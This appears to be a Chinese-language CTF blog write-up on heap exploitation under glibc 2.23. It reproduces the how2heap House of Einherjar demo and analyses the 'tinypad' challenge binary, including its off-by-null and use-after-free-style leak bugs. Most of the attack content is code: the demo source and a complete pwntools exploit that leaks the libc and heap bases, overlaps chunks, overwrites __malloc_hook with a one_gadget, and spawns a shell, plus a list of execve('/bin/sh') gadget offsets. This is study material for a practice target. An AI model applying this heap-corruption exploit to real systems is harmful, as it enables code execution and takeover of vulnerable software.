0%

how2heap - house_of_einherjar&tinypad

how2heap - house_of_einherjar&tinypad

ubuntu16.04 libc2.23

house_of_einherjar.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

/*
Credit to st4g3r for publishing this technique
The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak.
*/

int main()
{
fprintf(stderr, "Welcome to House of Einherjar!\n");
fprintf(stderr, "Tested in Ubuntu 16.04 64bit.\n");
fprintf(stderr, "This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");
fprintf(stderr, "This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

uint8_t* a;
uint8_t* b;
uint8_t* d;

fprintf(stderr, "\nWe allocate 0x38 bytes for 'a'\n");
a = (uint8_t*) malloc(0x38);
fprintf(stderr, "a: %p\n", a);

int real_a_size = malloc_usable_size(a);
fprintf(stderr, "Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);

// create a fake chunk
fprintf(stderr, "\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n");
fprintf(stderr, "However, you can also create the chunk in the heap or the bss, as long as you know its address\n");
fprintf(stderr, "We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
fprintf(stderr, "(although we could do the unsafe unlink technique here in some scenarios)\n");

size_t fake_chunk[6];

fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
fake_chunk[2] = (size_t) fake_chunk; // fwd
fake_chunk[3] = (size_t) fake_chunk; // bck
fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize


fprintf(stderr, "Our fake chunk at %p looks like:\n", fake_chunk);
fprintf(stderr, "prev_size (not used): %#lx\n", fake_chunk[0]);
fprintf(stderr, "size: %#lx\n", fake_chunk[1]);
fprintf(stderr, "fwd: %#lx\n", fake_chunk[2]);
fprintf(stderr, "bck: %#lx\n", fake_chunk[3]);
fprintf(stderr, "fwd_nextsize: %#lx\n", fake_chunk[4]);
fprintf(stderr, "bck_nextsize: %#lx\n", fake_chunk[5]);

/* In this case it is easier if the chunk size attribute has a least significant byte with
* a value of 0x00. The least significant byte of this will be 0x00, because the size of
* the chunk includes the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0xf8);
int real_b_size = malloc_usable_size(b);

fprintf(stderr, "\nWe allocate 0xf8 bytes for 'b'.\n");
fprintf(stderr, "b: %p\n", b);

uint64_t* b_size_ptr = (uint64_t*)(b - 8);
/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/

fprintf(stderr, "\nb.size: %#lx\n", *b_size_ptr);
fprintf(stderr, "b.size is: (0x100) | prev_inuse = 0x101\n");
fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = 0;
fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
fprintf(stderr, "This is easiest if b.size is a multiple of 0x100 so you "
"don't change the size of b, only its prev_inuse bit\n");
fprintf(stderr, "If it had been modified, we would need a fake chunk inside "
"b where it will try to consolidate the next chunk\n");

// Write a fake prev_size to the end of a
fprintf(stderr, "\nWe write a fake prev_size to the last %lu bytes of a so that "
"it will consolidate with our fake chunk\n", sizeof(size_t));
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

//Change the fake chunk's size to reflect b's new prev_size
fprintf(stderr, "\nModify fake chunk's size to reflect b's new prev_size\n");
fake_chunk[1] = fake_size;

// free b and it will consolidate with our fake chunk
fprintf(stderr, "Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
free(b);
fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);

//if we allocate another chunk before we free b we will need to
//do two things:
//1) We will need to adjust the size of our fake chunk so that
//fake_chunk + fake_chunk's size points to an area we control
//2) we will need to write the size of our fake chunk
//at the location we control.
//After doing these two things, when unlink gets called, our fake chunk will
//pass the size(P) == prev_size(next_chunk(P)) test.
//otherwise we need to make sure that our fake chunk is up against the
//wilderness

fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk\n");
d = malloc(0x200);
fprintf(stderr, "Next malloc(0x200) is at %p\n", d);
}

通篇下来最重要的两点在size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);fake_chunk[1] = fake_size;

代码通过模拟漏洞修改了b的prev_inuse位为0,此时再free(b)的话就会触发向后合并,而向后合并时合并的chunk是由prev_size得到的,当我们把prev_size改成了b's chunk header-fake_chunk's heder,就会在fake chunk处触发unlink从而导致fake_chunk被合并,而且此时由于紧邻top_chunk,top_chunk就直接被改到我们栈上fake_chunk处去了,再malloc的时候就可以把我们那块fake_chunk malloc出来

某种意义上来说这个好像也和house of force一样?是通过利用topchunk从而malloc出我们想要的地址来,(代码中写到的If it had been modified, we would need a fake chunk inside b where it will try to consolidate the next chunk,就是说如果我们在溢出的时候把size大小更改了,比如从0x101改成0x100,再去进行操作的时候由于此时得到的nextchunk在被更改chunk的内部,所以我们需要能够写到这个地方修改出一个假的chunk头才能不报错)

不过我有一点没弄明白:fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size,因为在这里设置了新top chunk之后好像没必要改这个prev_size?就算把这步操作改成0也还是一样达到了效果,所以这里好像有一个疑点(后来发现只是我单纯的把这个理解成设置top_chunk了,但其实这个利用说白了就是修改prev_size还有chunk的inues位,用来oevrlap chunk也是一样的用法)

….感觉慢慢熟悉起堆来之后就不想写debug了23333,因为稍微进GDB看一下就能弄清楚了,所以也是直接撸题吧

tinypad

程序有很多小函数,这里就不做分析了,直接分析主要的逻辑或有漏洞的逻辑

程序分析

read_until

1583305845380

其中当i=len的时候,a1[i]=0的操作下标越界,可能会产生off_by_null

Add

1583304338827

首先从四个memo中获取一个size段为空的下标,然后malloc(size),size为10x100之间,对应的chunk也就是在0x200x110之间,然后根据存在bss的指针读入size的数据

delete

1583304560937

这里如果读入的下标是1对应数组下标0,判断对应处size是否为零,然后free掉ptr之后把size置零,没有把ptr置零

edit

1583304758155

edit稍微有点意思,因为我们的mome每次做操作都是从+16的位置开始的,开始的时候我没看懂这个是什么意思,后来在edit这里发现这个前面32*_QWORD的空间是用来当缓冲区的,edit之前先把下标对应的chunk中的内容用strcpy拷到memo缓冲区中去,然后用strlen获取缓冲区的长度,并将这段长度的内容输出,接着再通过strlen获取对应chunk中字符串的长度,然后read到缓冲区中去

Exploit&漏洞分析

漏洞应该比较明显了

  1. read_until的off_by_null
  2. 由于每次程序的显示是通过ptr是否为空来判断是否需要输出的,但是由于清除的是size,所以每次都会输出…直接leak各种base
  3. 结合上面的使用house_of_einherjar即可,不过我才知道这个用法原来是只要修改了prev_size然后用就好23333,本来以为是专门用来设置top_chunk的,不过也确实说明了prev_size确实可以改的很大,这是我之前在写题的时候没有想到的

有了漏洞思路之后我的做法大致就是,先malloc四个memo,然后泄露出libc和heap之后再把这几个全部free掉,用于重新构造利用的chunk结构

再次构造的时候大概就是这样:

0x101 0x71 0x101
填上自身指针用于unlink 用于fastbin attck、填上prev_size,还有off_by_null 修改这个chunk的prev_inuse位

free的时候就会直接把这三个全部都放到top_chunk里面去了,还有一个overlap的0x70 fastchunk

后续就是常规的fastbin attack了

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = './tinypad' #binary's name here
context.binary = binary #context here
context.log_level='debug'
pty = process.PTY
p = process(binary, aslr = 1, stdin=pty, stdout=pty) #process option here
'''
Host =
Port =
p = remote(Host,Port)
'''
elf = ELF(binary)
libc = elf.libc

my_u64 = lambda x: u64(x.ljust(8, '\0'))
my_u32 = lambda x: u32(x.ljust(4, '\0'))
global_max_fast=0x3c67f8
codebase = 0x555555554000
def loginfo(what='',address=0):
log.info("\033[1;36m" + what + '----->' + hex(address) + "\033[0m")

# todo here
def add(size,content):
p.recvuntil('(CMD)>>> ')
p.sendline('A')
p.recvuntil('(SIZE)>>> ')
p.sendline(str(size))
p.recvuntil('(CONTENT)>>> ')
p.sendline(content)
def free(idx):
p.recvuntil('(CMD)>>> ')
p.sendline('D')
p.recvuntil('(INDEX)>>> ')
p.sendline(str(idx+1))
def edit(idx,content):
p.recvuntil('(CMD)>>> ')
p.sendline('E')
p.recvuntil('(INDEX)>>> ')
p.sendline(str(idx+1))
p.recvuntil('(CONTENT)>>> ')
p.sendline(content)
p.recvuntil('(Y/n)>>> ')
p.sendline('Y')

add(0xf0,'a'*0xf0)#0 0x100 chunk
add(0x100,'b'*0x100)#1 0x110 chunk
add(0xf0,'c'*0xf0)#2 0x100 chunk
add(0x100,'d'*0x100)#3 0x110 chunk
free(2)
free(0)
p.recvuntil('CONTENT: ')
heap_base=my_u64(p.recv(4))-0x210
loginfo('heapbase',heap_base)
p.recvuntil(' # INDEX: 3')
p.recvuntil('CONTENT: ')
libc_base=my_u64(p.recv(6))-0x3c4b78
loginfo('libcbase',libc_base)
free(3)
free(1)#clear

#construct again
add(0xf0,p64(heap_base)*2+'\x00'*0xe0)#0 0x100
add(0x68,'\x00'*0x68)#1 0x70
add(0xf0,'\x00'*0xf0)#2 0x100

free(1)
add(0x68,'\x00'*0x60+p64(0x170))#set prev_size + off_by_null
free(2)#Merge all

free(1)#set to fastbin first
#(0,,,)
add(0xe0,'\x00'*0xe0)
#(0,1)
add(0xf0,(p64(0)+p64(0x71)+p64(libc_base+0x3c4aed)).ljust(0x70,'\x00')+p64(0)+p64(0x101)+'\x00'*(0xf0-0x80))#fill fakesize0x101 for check by free
#(0,1,2)
add(0x60,'\x00'*0x60)
#(0,1,2,3)
free(0)
#(,1,2,3)
add(0x68,'\x00'*0x13+p64(libc_base+0xf02a4))
#(0,1,2,3)
#gdb.attach(p,'b *0x400c12')
free(3)
p.recvuntil('(CMD)>>> ')
p.sendline('A')
p.recvuntil('(SIZE)>>> ')
p.sendline('1')


p.interactive()
'''libc 2.23 x64
0x45216 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)constraints: [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL
req = dest - old_top - 4*sizeof(long)
fastbin addree to size: (offset_to_fastbinY/8+2)<<(4 or 3)
largebin chunksize:0x410|0x450|0x490|0x4C0...
'''